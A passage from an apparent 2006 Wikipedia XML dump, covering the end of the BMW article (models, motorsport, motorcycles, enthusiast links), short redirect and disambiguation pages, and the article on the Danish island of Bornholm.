In the early 1990s, BMW and [[Rolls-Royce]] Motors began a joint venture that would see the new [[Rolls-Royce Silver Seraph]] and [[Bentley Arnage]] adopt BMW engines.

In 1998, both BMW and [[Volkswagen]] tried to purchase Rolls-Royce Motors. [[Volkswagen]] outbid BMW and bought the company for £430 million, but BMW outflanked its German rival.  Although Volkswagen had bought rights to the &quot;Spirit of Ecstasy&quot; mascot and the shape of the radiator grille, it lacked rights to the Rolls-Royce name. [[Rolls-Royce plc]] (the aero-engine business) retained the rights over the Rolls-Royce [[trademark]] and wished to strengthen its existing business partnership with BMW which extended to the [[Rolls-Royce Deutschland|BMW Rolls-Royce]] joint venture.  Consequently, BMW was allowed to acquire the rights to the grille and mascot, and licensed the name and &quot;RR&quot; logo after [[2003]] for £40 million. Volkswagen was permitted to build Rolls-Royces at its [[Crewe]] factory only until 2003, but quickly shifted its emphasis to the Bentley brand.

In the meantime, BMW was faced with the need to build a new factory and develop a new model. The new factory at [[Goodwood]] produced the new [[Rolls-Royce Phantom]], unveiled on [[January 2]], [[2003]], and officially launched at the [[Detroit Auto Show]] on [[January 5]], [[2003]].  The model, priced around US$330,000, has experienced disappointing sales worldwide.

==Models==
===Current and near future products===
The current BMW model lineup is split into what they call &quot;Series&quot;, traditionally identified by a single digit - e.g. the 3 Series.

In 2004 BMW announced plans to make odd-numbered models [[Sedan (car)|sedans]] and [[estate car|estates]] or wagons (BMW calls its estates/wagons Touring models), while even-numbered models will be two-door [[coupe]]s and [[cabriolet]]s.  This convention started informally in 1976 with the introduction of the [[BMW 6 Series|6 Series]] and later continued in 1989 with the [[BMW 8 Series|8 Series]], but died off when the latter was discontinued in 1999. This practice was revived as the [[BMW Z4|Z4]] replaced the aging [[BMW Z3|Z3]] roadster in 2003 and continues as the new [[BMW 6 Series|6 Series]] augments the existing [[BMW 5 Series]].

Coupe versions of the [[BMW 3 Series|3 Series]] sedans have always been named 3 Series vehicles, as well.  The company had considered renaming future 2-door derivatives of the 3 Series as 4 Series cars, but this plan has reportedly been shelved. 

[[Image:95 318ti.jpg|thumb|250px|The 1995 BMW 3 Series Compact]]

The M letter was used prior to the shift to Series-named cars to designate special &quot;Motorsport&quot; models, beginning with the [[BMW M1|M1]] supercar. Later the M letter was used as a prefix to top-of-the-range models which had received special treatment by the BMW Motorsport division. The first such car was the M535i of 1979. As these models started gaining popularity the Motorsport division was split into a separate company. [[BMW M]] GmbH now makes sporty models based on the production cars with very extensive chassis and engine upgrades. The M3 and M5 are based respectively on the 3 and 5 Series and are recognised by enthusiasts all over the world as truly excellent sports cars while retaining the practicality of the models they extend.

With the advent of the [[Sport utility vehicle|SUV]], BMW also added the X5 - and in 2004 the X3 - to their model range to capitalize on this growing market. BMW calls its SUV models ''Sports Activity Vehicles''. A possible future V Series will offer [[Multi-purpose vehicle|MPV]] practicality for large families, similar to the [[Renault]] Scenic.

* [[BMW 1 Series|1 Series]]: a small car launched in autumn [[2004]] in Europe; autumn 2006 in the USA. It is the only [[rear wheel drive]] vehicle in its class. A coupe has been announced for 2006, and there are concepts of a hatchback and a minivan. Plans to label these variants as ''2 Series'' have reportedly been scrubbed.
* [[BMW 3 Series|3 Series]]: the successor to the 2002; a compact entry-level luxury sedan, now in its fifth generation (E90). The E90 line (starting with the 2006 model year) is available now in the United States. The E90 is currently available in the 325i (with a detuned 3.0 L I6 engine producing 215 bhp) and the 330i (with a 3.0 L I6 engine producing 255 bhp) as well as the AWD-versions of these 2 models, named 325xi and 330xi.  Currently the 3 series coupe and convertible is only available in the fourth generation E46 body style (with a 2.5 L I6 producing 184 bhp for the 325ci/cic and a 3.0 L I6 producing 225 bhp for the 330ci/cic) until the middle of 2006 when the E90 coupes will be available. Also available is the [[all wheel drive]] Touring (wagon) model, the 325xiT.  Other models, including diesel models, are available outside of the United States.
** [[BMW M3|M3]]: The motorsport division's race-inspired version of the 3 Series.  Currently available only in the fourth generation E46 body style and with a 3.2 L engine producing 333 bhp.  A new revision is expected in 2007 with a 400 horsepower V8.

* [[BMW 5 Series|5 Series]]: a midsize sports/[[Personal luxury car|luxury sedan]].  This series has is available with three different engines: the 525i with the same engine as the 325i, the 530i with the same engine as the 330i, and the 545i with a 4.4 L V8 producing 325 bhp.  For the 2006 model year, the 545i will be phased out in favour of the 550i, with a 4.8 L V8 producing 360 bhp. Other models, including diesel models, are available outside of the United States.
**[[BMW M5|M5]]: The motorsport division's version of the 5 Series. The new M5 (E60) is powered by an [[Formula One|F1]]-inspired V10 engine, producing 507 bhp and is mated with a 7-speed Sequential Manual Gearbox (SMG) transmission.
* [[BMW 6 Series|6 Series]]: The coupe verson of the 7 series, the 6 series is currently available only in the 650i version with a 4.8 L V8 producing 360 bhp.
** [[BMW M6|M6]]: A high performance version of the 6 Series. Developed by BMW's M Division, it is powered by the same 5.0 L V10 507 bhp engine seen in the BMW M5.  It is currently avaliable in Europe and is coming to America soon.
* [[BMW 7 Series|7 Series]]: a full-size, executive-class, luxury car competing with the [[Mercedes-Benz S-Class]], [[Audi A8]], and [[Jaguar XJ]].  The 7 series comes in the 750i and 750Li with the same engine as the 550i, and in the 760i and 760Li, with a 6.0 L V12 producing 438 bhp.  The 760Li is also made in a bulletproof version for clients who need extra protection.
* [[BMW X3|X3]]: a small SUV with emphasis on practicality and affordability
* [[BMW X5|X5]]: BMW's first SUV (called SAV or Sports Activity Vehicle by BMW) competing against the [[Porsche Cayenne]] and [[Mercedes M-Class]].
* [[BMW Z4|Z4]]: a two-seater roadster and [[coupe]] that succeeded the [[BMW Z3|Z3]]. Available in 2.5 L and 3.0 L models.
**[[BMW M Z4 |M Z4]]  The BMW M Z4 coupe is planned for production as a 2006 model.
* [[BMW Z10|Z10]]: A [[2 plus 2|2+2]] [[coupe]] to succeed the [[BMW Z8|Z8]], to be produced in [[2008]]

===Out of production===
* [[BMW M1|M1]]: a [[1970s]] mid-engine sports car, designed in conjunction with [[Lamborghini]]. As Lamborghini went into bankruptcy the production was shifted to the German Karmanwerke.
* [[BMW Z3|Z3]]: a compact two-seater roadster.
** M coupé and roadster: high-performance hard-top and soft-top versions of the Z3, very popular with enthusiasts
* [[BMW 8 Series|8 Series]]: a fast, high-technology coupe of the [[1990s]] meant to replace the older 6 Series.
* [[BMW Z1|Z1]]: a late [[1980s]] two-seater with innovative modular construction; only 8,000 were made. Best known for the feature of the vertically sliding doors.
* [[BMW Z8|Z8]]: flagship sports car; design based on the classic 507 roadster from the [[1950s]].  Only 5000 were built, the last 500 being a special edition built by Alpina but sold directly from BMW. This exciting roadster was built on a aluminium space frame design.
* [[BMW Z9|Z9]] concept car designed by Adrian van Hooydonk marked a departure from BMW's traditional conservative style, and has caused some controversy among BMW enthusiasts.

===Classics===
BMW made many cars over the years which have had great impact on the world of motoring.

* Dixi, 3/20, 303, 309, 315, 319, 320, 321, 325, 326, 327, [[BMW 328|328]], 329, 335
* [[Isetta]], [[BMW 600|600]], [[BMW 700|700]]
* 501, 502, 503, [[BMW 507|507]]
* 3200 CS, 2000 CS
* [[BMW New Six|New Sixes]] (2500/2800/Bavaria/2.5/2.8/3.0/3.3) - Predecessor to today's [[BMW 7 Series|7 Series]]
* [[BMW New Class|New Class]] (1500/1502/1600/1800/1802/2000/2002) - Acknowledged as the first modern sports saloon and the predecessor to BMW's core product, the [[BMW 3 Series|3 Series]]

===Series Generations===
Internally, BMW associates an &quot;e-code&quot; for each generation of a series (&quot;E&quot; stands for ''Entwicklung'', [[German language|German]] for ''development'' or ''evolution''). These &quot;chassis codes&quot; only change to signify a major redesign of a series, or the introduction of a new series.
* [[BMW E3]] - (1968-1977) 2.5, 2.8, 3.0, 3.3 &quot;New Six&quot; sedans
* [[BMW E9]] - (1969-1975) 2800CS, 3.0CS, 3.0CSL &quot;New Six&quot; coupés
* [[BMW E12]] - (1972-1981) 5 Series
* [[BMW E21]] - (1975-1983) 3 Series
* [[BMW E23]] - (1977-1986) 7 Series
* [[BMW E24]] - (1976-1989) 6 Series
* [[BMW E26]] - (1978-1981) M1
* [[BMW E28]] - (1981-1988) 5 Series
* [[BMW E30]] - (1982-1991) 3 Series
* [[BMW E31]] - (1990-1999) 8 Series
* [[BMW E32]] - (1986-1994) 7 Series
* [[BMW E34]] - (1988-1995) 5 Series
* [[BMW E36]] - (1991-1999) 3 Series/Z3 (as ''E36/7'') (1999 model as M3 only)
* [[BMW E38]] - (1994-2001) 7 Series
* [[BMW E39]] - (1996-2003) 5 Series
* [[BMW E46]] - (1998-2005) 3 Series
* [[BMW E52]] - (2000-2004) Z8
* [[BMW E53]] - (2000-present) X5
* [[BMW E60]] - (2004-present) 5 Series
* [[BMW E63/E64|BMW E63]] - (2004-present) 6 Series coupe
* [[BMW E63/E64|BMW E64]] - (2004-present) 6 Series convertible
* [[BMW E65/E66|BMW E65]] - (2002-present) 7 Series short wheel base
* [[BMW E65/E66|BMW E66]] - (2002-present) 7 Series long wheel base
* [[BMW E70]] - future X5
* [[BMW E83]] - (2004-present) X3
* [[BMW E85]] - (2003-present) Z4
* [[BMW E87]] - (2004-present) 1 Series
* [[BMW E90]] - (2005-present) 3 Series
* [[BMW E91]] - (2005-present) 3 Series Wagon

==Related companies==
* [[Automobilwerk Eisenach]]
* [[Isetta]]
* [[Glas]]
* [[Rolls-Royce|Rolls-Royce Motor Cars Limited]]: BMW subsidiary that owns the [[Rolls-Royce]] trademark.
* [[Rover (car)|Rover]]: briefly owned by BMW, which retained the [[Mini]] after selling off the rest of the company (see [[MG Rover Group]]).
* [[Land Rover]]: sold to [[Ford Motor Company|Ford]]; the current [[Range Rover]] was developed mostly by BMW during their ownership of the company and until recently was powered by their 4.4&amp;nbsp;L [[V8]] petrol (gasoline) engine and continues to use the BMW 3.0&amp;nbsp;L I6 diesel engine
* [[BMW MINI]]: a small [[hatchback]]; inspired by the original [[Mini]], which was the British competitor to the [[Volkswagen Beetle]].
* [[Wiesmann]]: A company making sporty 2-seater coupes for which BMW supplies the engines.
*[[DesignworksUSA]]: Design studio founded in 1972 by Charles W. Pelly, and owned by BMW AG since May 1995.  DesignworksUSA has worked on various designs for BMW and other companies, not just automobile. One of the latest designs is computer keyboard and mouse, which were sold by [[BenQ]] as x700 Pro keyboard, x730 Pro wireless keyborard and mouse combo, M306 wireless mouse.
*Bavaria Wirtschaftsagentur GmbH: BMW Group subsidiary that offers insurance services.
*[[Softlab]] GmbH: IT consulting and systems integration.

==Motorsport== [[Image:BMW.WilliamsF1 Team.png|thumb|BMW.[[WilliamsF1]] Team logo]]

BMW has been engaged in [[motorsport]] activities since the dawn of the first BMW motorcycle. BMW has competed and won many of the most coveted and prestigious races and motoring events.

* [[BMW Sauber|BMW Sauber F1 Team]]
* [[WilliamsF1]]
* [[Brabham Racing Organisation]]
* [[Team McLaren]]
* [[Touring car racing]]
* [[Le Mans 24 Hours]]
* [[Mille Miglia]]
* [[Nürburgring]]
* [[Paris Dakar Rally]]

==Motorcycles==
[[Image:BMWbike.jpg|thumb|A modern BMW motorcycle]]
{{main|BMW motorcycles}}

BMW branded motorcycles were first produced in [[1923]] and had an unusual &quot;[[flat-twin|boxer twin]]&quot; engine, with two air-cooled cylinders protruding from opposite sides of the machine. Prior to this BMW built the &quot;Flink&quot; 2- stroke and &quot;Helios&quot; motorcycles, as well as supplying M2B15 motors to other companies such as Victoria.

The R series currently designates machines with a boxer-twin engine, the K series has an I4 engine (1000 and 1200cc) or an I3 (750cc), and the F series has a single cylinder [[Rotax]] engine.

During [[World War II|WWII]] BMW produced the [[BMW R75]] motorcycle with a [[sidecar]] attached. This motorcycle was essentially an 80% interchangeable copy of the ZUndapp KS750, made by BMW to avoid producing the KS750 under licence. Unusually, the sidecar's wheel was also driven. Combined with a lockable [[differential (mechanics)|differential]], this made the vehicle very capable off-road, an equivalent in many ways to the [[Jeep]].

BMW motorcycles tend to be relatively large and heavy, and relaxed and comfortable to ride.  All BMW motorcycles except for the F series (which have a chain or belt drive) use shaft drive, a characteristic of BMW motorcycles since 1923.

BMW updated the traditional R design in 1993. These new bikes were principally oil-cooled (hence, called [[oilhead]]s) and had 4 valves per cylinder. (Older Rs are principally air-cooled, and called [[airhead (motorcycle)|airhead]]s.) In 2004, BMW updated the oilhead boxer engine, adding double spark plugs per cylinder, a built-in balance shaft, an increased capacity to 1200&amp;nbsp;cc and enhanced performance to 100&amp;nbsp;hp (75&amp;nbsp;kW) for the R1200GS, compared to 85&amp;nbsp;hp (63&amp;nbsp;kW) of the previous oilhead s R1150GS.

In 2004, BMW introduced the new K1200S Sports Bike which marked a departure for BMW. It is both powerful (the engine is a 167 bhp unit derived from the company's work with the Williams F1 team) and significantly lighter than previous K models. It was BMW's latest attempt to keep up with the pace of development of sports machines from the likes of [[Honda]], [[Kawasaki motorcycles|Kawasaki]] and [[Suzuki]]. Innovations include a unique electronically adjustable front and rear suspension, and a Hossack-type front fork BMW calls Duolever.

BMW was one of the earliest manufacturers to offer [[anti-lock braking system|anti-lock brakes]] on production motorcycles.

BMW is an innovator in motorcycle suspension design. Most modern examples use single-sided rear swingarms. Their trademark front suspension design, called the Telelever, was first seen in the early 1990s. The Telelever significantly reduces dive under braking, and is sometimes criticized by sport riders as insulating the rider from road inputs, therefore reducing the rider's &quot;feel&quot; for the roadway.

== Nicknames ==
*'''''Bimmer''''' - slang for BMW cars {{ref|bostonbimmer}} (pronounced &quot;bimmer&quot; or &quot;beemer&quot;)
*'''''Beamer/Beemer''''' - slang for BMW motorcycles
*'''''Beba''''' - [[Greece]]
*'''''B M''''' - Arab countries
*'''''Bembara''''' - [[Serbia]]
*'''''Bambalis''''' - [[Lithuania]]
*'''''Bummer''''' - [[Russia]]
*'''''Bemm''''' - [[Estonia]]

== Culture ==
BMW has also gained a reputation as part of an Internet prank, in that it is intentionally referred to ''erroneously'' as &quot;British Motor Works&quot; in order to get a charge out of [[newbie]]s.

The term &quot;beemer&quot; started as a pronunciation of the acronym &quot;BMW,&quot; adapted from the early-20th-Century British pronunciation of [[Birmingham Small Arms Company|BSA]] (as &quot;beeser&quot; or &quot;beezer&quot;), whose motorcycles were often racing BMW's. Over time, the term became closely associated with BMW motorcycles.

The term &quot;bimmer&quot; was later coined to refer (exclusively) to BMW automobiles. As such, use of the word &quot;beemer&quot; to refer to a BMW automobile is [http://www.boston-bmwcca.org/reference/Bimmer-Beemer.aspx frowned upon] by BMW enthusiasts, because it is the term used for motorcycles, though the distinction is somewhat arbitrary.  Interestingly, in the German language, the correct pronunciation of the term &quot;bimmer&quot; is &quot;beemer.&quot;

== Community ==
BMW has always had a very tight and loyal community following.  They're one of the few automakers that support driving their cars to their limits, suggesting &quot;spirited driving&quot; in certain operation manuals.  In the summer of 2001, BMW even went as far as starting the [http://www.bmwfilms.com BMW Films] website, showcasing some sporty models being driven to extremes.  These videos are very popular within the [http://www.unitedbimmer.com enthusiast community] and have opened the eyes of many owners looking for a sporty/fun car.  However, even with all this success, on October 21st, 2005, the BMW Films were taken offline.

==See also==
* [[BMW Steptronic]]
* [[List of automobile manufacturers]]
* [[List of Formula One constructors]]
* [[BMW films]]
* [[List of BMW engines]]
* [[BMW Headquarters]]

==Notes==
# {{note|bostonbimmer}} [http://www.boston-bmwcca.org/reference/bimmer-beemer.aspx Beemer vs. Bimmer article from the Boston Chapter BMW Car Club of America]

==External links==
* [http://biz.yahoo.com/ic/41/41758.html Yahoo! - Bayerische Motoren Werke AG Company Profile]
* [http://www.netcarshow.com/bmw/ BMW Image Galleries]

===Official corporate websites===
*[http://www.bmwgroup.com/ BMW Group International]
**[http://www.bmwgroup.com/e/nav/index.html?../0_0_www_bmwgroup_com/home/home.html&amp;source=overview BMW Group English]
***[http://www.bmw.com/ BMW International]
****[http://www.bmwusa.com/ BMW USA]
****[http://www.bmwmotorcycles.com/ BMW Motorcycles USA]
***[http://www.mini.com/ MINI International]
****[http://www.miniusa.com/crm/main.jsp MINI USA]
***[http://www.rolls-roycemotorcars.com/master_frame.html Rolls-Royce Motors]
*[http://www.historicalarchive.bmw.com BMW Group archives]
*[http://www.bmw.com/com/en/index_narrowband.html?content=/com/en/insights/history/overview.html BMW History]
*[http://www.designworksusa.com/site.html DesignworksUSA homepage]
*[http://www.softlab.com Softlab homepage]

===Club and information websites===
* [http://www.dtmpower.net DTMPower.net] is by far the best BMW forum. Great people and great times.
* [http://www.thebmwblog.com TheBMWBlog.com] BMW Blog posting latest information on the German automaker.
* [http://www.bimmerportal.com/forum/ BMW Forums] provides BMW enthusiasts a place to discuss BMWs and exchange their knowledge.  Forums for different models, for sale section, motorsport, general discussions, and BMW related news. 
* [http://www.bimmerportal.com BimmerPortal] is a website / portal dedicated to the Ultimate Driving Machine.  This site has everything a BMW owner is looking for.  Many forums, car galleries, owner's garage, recent news articles, DIY's, and much more.
* [http://www.bmwfaq.com BMWFaq] Spanish BMW forum
* [http://bmwturbos.scottiesharpe.com BMW Turbos!] is a forum for fans of the E23 745i, M102 and M106 six-cylinder turbo motors and other M30 turbo kits such as those made by Callaway, Dinan, etc.
* [http://www.unitedbimmer.com United Bimmer] Is a growing BMW community offering tech support forums, a DIY (Do It Yourself) knowledge base, a wallpaper gallery, a Rate-My-Car system, and other resources for BMW enthusiasts.
*[http://www.bmwvsmercedes.com BMW vs Mercedes] BMW vs Mercedes-Benz Discussion Forum
*[http://www.auto-specs.com/viewall/BMW BMW Specifications, Performance Stats, and Car List]
* [http://www.bmw-sg.com BMW Singapore Community] Singapore's BMW Community with News Portal, Forums And Active Community.
* [http://www.bmwboard.com BMWBoard.com] BMW Forums, News, Articles, Discussion and BMW Chat
* [http://www.bmw-team.lu BMW TEAM LUXEMBOURG] A team of BMW enthusiasts from Luxembourg
*[http://www.wreckedexotics.com/m3 BMW Crash Gallery]
* [http://www.euroclub.ca European Car Club] A growing BMW community for Canadians
* [http://www.bmwportal.net/ The BMW Portal] has grown enormously over the past months. It has a lot of NAV info, Picture Gallery, useful documents, tips and tricks, helpful Forum and much more.
* [http://www.bmwzine.com BMWZine] The Online BMW news and information resource
* [http://www.bimmerdiy.com BMW Do It Yourself] provides BMW DIY articles for the home mechanic.
* [http://www.thewallpapers.org/cars/bmw/index.php BMW Gallery] hosts images of BMWs.
* [http://bmwinfo.com/ BMW Models] provides information on past, current, upcoming, and concept BMWs.
* [http://www.bmw-club.org.uk/home.html The BMW club] is a website for BMW owners in the UK and Ireland.
* [http://www.bmwcca.org/ BMW Car Club of America] is a club for BMW owners in the Americas.
* [http://www.bmwcarclubgb.co.uk/ BMW Car Club of Great Britain]
* [http://www.bmwworld.com/museums.htm BMW Museums] provides information about museums where BMWs can be found.
* [http://www.bmwmoa.org BMW Motorcycle Owners of America]
* [http://www.bmwra.org BMW Riders Association]
* [http://www.e38.org BMW 7-series information and links]
* [http://www.e30zone.co.uk The World's Largest e30 Community]
* [http://www.clubs.bmw.com.au/indexframe.asp BMW Clubs Australia]
* [http://www.apexgarage.com/cars-by-brand-bmw.shtml BMW @ ApexGarage] - Directory of BMW clubs, groups, and information sites.
* [http://www.bimmerfest.com Bimmerfest - a site with informative forums and information on an annual BMW gathering in California]
* [http://www.bimmerforums.com/main.php Bimmerforums.com] is a website dedicated to owners and enthusiasts of BMW automobiles with over 64,000 members. Consists of sub forums for the different BMW models, track and racing, show and shine, wheels and general maintenance.
* [http://www.bmwnut.blogspot.com BMWNut] is a collection of BMW related information, including repair and modification how-to's, BMW model information, performance product reviews and additional BMW links.
* [http://www.bimmerwerkz.com Bimmer Werkz] Previously BMW-Forums.com. Large BMW enthusiast forum with features being added regularly.
* [http://www.bigblogging.com/bmw/ BMW News]
* [http://www.e90post.com E90Post.com] - The enthusiast site for the E90 Generation 3-series models (2006+).
*[http://www.automotoportal.com/ Automotive industry portal with BMW news]

{{BMW cars}}

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[[Category:BMW|BMW]]
[[Category:Companies of Germany]]
[[Category:Companies listed on the Frankfurt Stock Exchange]]
[[Category:German automobile manufacturers]]
[[Category:Luxury car manufacturers]]
[[Category:Motorcycle manufacturers]]

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    </revision>
  </page>
  <page>
    <title>Blaue Reiter</title>
    <id>3773</id>
    <revision>
      <id>15902088</id>
      <timestamp>2004-09-14T13:10:08Z</timestamp>
      <contributor>
        <username>Fuelbottle</username>
        <id>34451</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Der Blaue Reiter]]</comment>
      <text xml:space="preserve">#REDIRECT [[Der Blaue Reiter]]</text>
    </revision>
  </page>
  <page>
    <title>Bisexual (disambiguation)</title>
    <id>3774</id>
    <revision>
      <id>34096821</id>
      <timestamp>2006-01-06T10:44:19Z</timestamp>
      <contributor>
        <username>Oliver Lineham</username>
        <id>83708</id>
      </contributor>
      <minor />
      <comment>moved [[Bisexual]] to [[Bisexual (disambiguation)]]</comment>
      <text xml:space="preserve">*In [[human sexuality]], '''[[bisexuality]]''' describes a man or woman having a sexual orientation to persons of either or both sexes (a man or woman who sexually likes both sexes; people who are sexually and/or romantically attracted to both males and females). Bisexuality is also synonymous with ambisexuality.  Many [[group sex]] combinations require one or more participants to be bisexual.

*In [[botany]], a '''bisexual''' [[flower]] is one that possesses both male (pollen-producing) and female (seed-producing) parts.  Botanists call these flowers '''perfect''' or [[hermaphrodite|hermaphroditic]]. Species that possess separately sexed ('''unisexual''') flowers, but have both types on the same indiviudual plant are called [[Plant sexuality|monoecious]].

*In [[biology]], a bisexual species is one that has members of two different distinct sexes. Humans are a bisexual species.


{{disambig}}

[[tr:biseksüel]]</text>
    </revision>
  </page>
  <page>
    <title>Boston</title>
    <id>3775</id>
    <revision>
      <id>40778574</id>
      <timestamp>2006-02-22T23:29:16Z</timestamp>
      <contributor>
        <username>MIT Trekkie</username>
        <id>147037</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">#REDIRECT [[Boston, Massachusetts]]</text>
    </revision>
  </page>
  <page>
    <title>Bornholm</title>
    <id>3776</id>
    <revision>
      <id>42034625</id>
      <timestamp>2006-03-03T10:01:30Z</timestamp>
      <contributor>
        <username>Valentinian</username>
        <id>256198</id>
      </contributor>
      <minor />
      <comment>&quot;Coat of Arms&quot; -&gt; &quot;coat of arms&quot;</comment>
      <text xml:space="preserve">{| colspan=&quot;4&quot; width=250 style=&quot;border: 1px solid #6688AA; background-color:#f0f6fa; margin:0.5em; padding:0.5em; float:right&quot; valign=&quot;top&quot; | 
|- 
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | &lt;big&gt;'''Bornholms Regionskommune'''&lt;/big&gt;
|-
| bgcolor=#FFFFFF align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Bornholms regionskommune coa.png|150px|]]&lt;br&gt;''Bornholms Regionskommune's&lt;br/&gt;coat of arms''.
|-
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Basic Facts'''
|-
| Municipality&lt;br/&gt;seat || [[Rønne]]
|-----
| Area || 588 [[square kilometre|km²]]
|-----
| Inhabitants || 44,100 &lt;small&gt;''(2003)''&lt;/small&gt;
|-----
| Website || [http://www.bornholm.dk/ www.bornholm.dk]
|-
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Map'''
|-
| bgcolor=#FFFFFF align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:DenmarkBornholm.png|Bornholm Regional Municipality in Denmark]]
|-
|-
|}

'''Bornholm''' is a [[Denmark|Danish]] [[island]] in the [[Baltic Sea]].  It also refers to '''Bornholm Regional Municipality''', the municipality ([[Danish language|Danish]], ''[[Commune (subnational entity)|kommune]]'') which covers the entire island, and has county privileges.  

The island is located to the east of Denmark, the south of [[Sweden]], and the north of [[Poland]] (on the map of Denmark to the right, it is not shown in its true location; see the map at the bottom of the article). The main industries on the island include [[fishing]], [[pottery]] using locally worked [[clay]], clockmaking and [[dairy farming]]. [[Tourism]] is important during the summer.

The small islands [[Ertholmene]] are located 18 km to the north-east of Bornholm.

Strategically located in the [[Baltic Sea|Baltic]] Bornholm has been a bone of contention usually ruled by Denmark, but also by [[Lübeck]] and [[Sweden]]. The castle ruin [[Hammershus]] on the northwestern tip of the island gives testimony to its importance.

== Municipality ==
[[Image:Flag_Denmark_Bornholm.png|Unofficial flag of Bornholm.|left|thumb]]
Bornholm Regional Municipality is the municipality ([[Danish language|Danish]], ''[[Commune (subnational entity)|kommune]]'') which covers the entire island, and it has county privileges.  It comprises the five former municipalities on the island ([[Allinge-Gudhjem]], [[Hasle, Denmark|Hasle]], [[Nexø]], [[Rønne]] and [[Aakirkeby]]) and the former county.

The municipality covers an area of 588 [[square kilometre|km²]], and has a total population of 43,347 (2005).  Regional mayor is Bjarne Kristiansen.

The main town and the site of its municipal council is the town of Rønne.  

[[Ferry]] service connects the municipality at the town of Rønne to [[Świnoujście]] ([[Poland]]), [[Sassnitz]] ([[Germany]]), [[Køge]] ([[Denmark]]), and [[Ystad]] ([[Sweden]]).

[[Image:Bornholms amt coa.png|Coat of arms of the former Bornholm County.|right|thumb]]Bornholm Regional Municipality will not be merged with other municipalities by [[January 1]], [[2007]] as the result of nationwide [[Municipalities of Denmark#Municipality_Reform_2007|''Kommunalreformen'' (&quot;The Municipality Reform&quot; of 2007)]].

== History ==
[[Image:Da-map.png|thumb||left|300px|''Map of Denmark, Bornholm is to the far right'']]
In the Old Icelandic sources, its name is ''Burgundarholm'', and [[Alfred the Great]] uses the form ''Burgenda land''. Some scholars believe that the [[Burgundians]] are named after Bornholm; the Burgundians were a [[Germanic tribe]] which moved west when the western [[Roman Empire]] collapsed, and occupied and named [[Burgundy]] in [[France]].

The island was originally part of [[Skåneland|Scania (Skåneland)]]. When the eastern [[Lands of Denmark|provinces of Denmark]] were ceded to Sweden in 1658, Bornholm was returned to [[Denmark-Norway]] two years later (along with [[Trøndelag]] and [[Anholt]]).

Bornholm, as a part of [[Denmark]], was captured by Germany relatively early in the [[World War II|Second World War]], and served as a lookout post and listening station during the war. The island's perfect central position in the [[Baltic Sea]] meant that it was an important &quot;natural fortress&quot; between [[Germany]] and [[Sweden]], effectively keeping submarines and destroyers away from Nazi occupied waters. Several concrete coastal installations were built during the war, some of which had tremendous range, but none of them were ever used, and only a single test shot was fired during the occupation. These remnants of Nazi rule has since then fallen into disrepair and are mostly regarded as a novelty. Many tourists visit the ruins each year, providing a useful supplement income to the tourist industry.

As it was true about the rest of [[Denmark]], the inhabitants of Bornholm quickly came to accept the Germans. &quot;They don't bother us, we don't bother them&quot; was the unspoken rule of the agreement between commoners and soldiers. German soldiers acted more like tourists than occupants during their stay, and the rough German discipline meant that only few incidents of violence was reported on the island. (No noteworthy resistance from the natives was ever reported by the German officials).

On the 22nd of August 1943 a rocket (numbered V83) crashed on Bornholm as part of a test - the warhead was a dummy made of concrete. This was photographed (? Some sources only mention sketches?) by the Danish Naval Officer-in-Charge on Bornholm, Lieutenant Commander Hasager Christiansen. Although this rocket was probably launched from a [[Heinkel]] III, this was the first sign British Intelligence saw of Germany's aspirations to develop the flying bombs and rockets - which were to become known as [[V-1_flying_bomb|V1]] and [[Vergeltungswaffe 2|V2]].

Bornholm was heavily bombarded by [[Soviet Union|Soviet forces]] in May 1945. [[Von Kamft]], the German superior officer in charge of the island garrison refused to surrender to [[Soviet Union|Soviet forces]], as his orders were to surrender to the Allied Forces. The Germans sent several telegrams to [[Copenhagen]] requesting that at least one single British soldier should be transferred to Bornholm, so that the Germans could surrender to the western allied forces instead of the Russians. When Von Kamft failed to provide a written capitulation as demanded by Russian HQ, [[Soviet Union|Soviet]] aircraft relentlessly bombed and destroyed more than 800 civilian houses, with roughly 3000 more being seriously damaged on the 7th and 8th of May 1945. Eventually, the German garrison did surrender to the Soviet forces, which occupied the island until [[April 5]], [[1946]]. As a result, quite a few natives of Bornholm to this day regard Russians with some suspicion and contempt, as the Russian forces made their presence felt for a whole year while looting and ravaging the Bornholm countryside.

In newer times [[NATO]] [[radar]] installations have been placed on the island.

A Russian (Soviet) declaration after World War II states that foreign (read: NATO) soldiers on Bornholm would be a declaration of war against Russia. This has caused diplomatic problems at least twice; once when an American [[helicopter]] landed outside the city of Svaneke due to engine problems in a NATO drill over the Baltic Sea, and once (somewhere between 1999 and 2003) when the Danish government suggested total shut down of ''Almegårdens Kaserne'', the local military facility, since &quot;the island could quickly be protected by troops from surrounding areas and has no strategic importance after the fall of the [[Iron Curtain]]&quot;.

== Other islands in the Baltic Sea ==
* [[Gotland]], [[Öland]]
* [[Rügen]], [[Usedom]]
* [[Saaremaa]], [[Hiiumaa]]
* [[Wolin]]
* [[Åland]]

== See also ==
* [[Bornholm disease]]

==External links==
* [http://www.brk.dk/ Municipality's official website]
* [http://www.bornholminfo.dk/s1/default.asp?langid=2 Tourist information]
* [http://www.bornholmsmuseum.dk/ Bornholm's Museum]
* [http://maps.google.com/maps?ll=55.125508,14.916687&amp;spn=0.520682,0.990211&amp;t=k&amp;hl=en Google Map]
* [http://www.hotel-bornholm.com/ Hotels on Bornholm]

== References == 
* Municipal statistics: [http://www2.netborger.dk/Kommunefakta/ NetBorger Kommunefakta], delivered from [http://www.kmd.dk/ KMD aka Kommunedata (Municipal Data)]
* Municipal mergers and neighbors: [http://kommune.eniro.dk/region/media/nyekommuner.shtml Eniro new municipalities map]


{{amt}}

[[Category:Islands of Denmark]]
[[Category:Terra Scania]]
[[Category:Baltic islands]]
[[Category:Municipalities of Denmark]]

[[ca:Bornholm]]
[[cs:Bornholm]]
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[[ja:ボーンホルム島]]
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    </revision>
  </page>
  <page>
    <title>Bay (disambiguation)</title>
    <id>3777</id>
    <revision>
      <id>37881111</id>
      <timestamp>2006-02-02T19:29:10Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
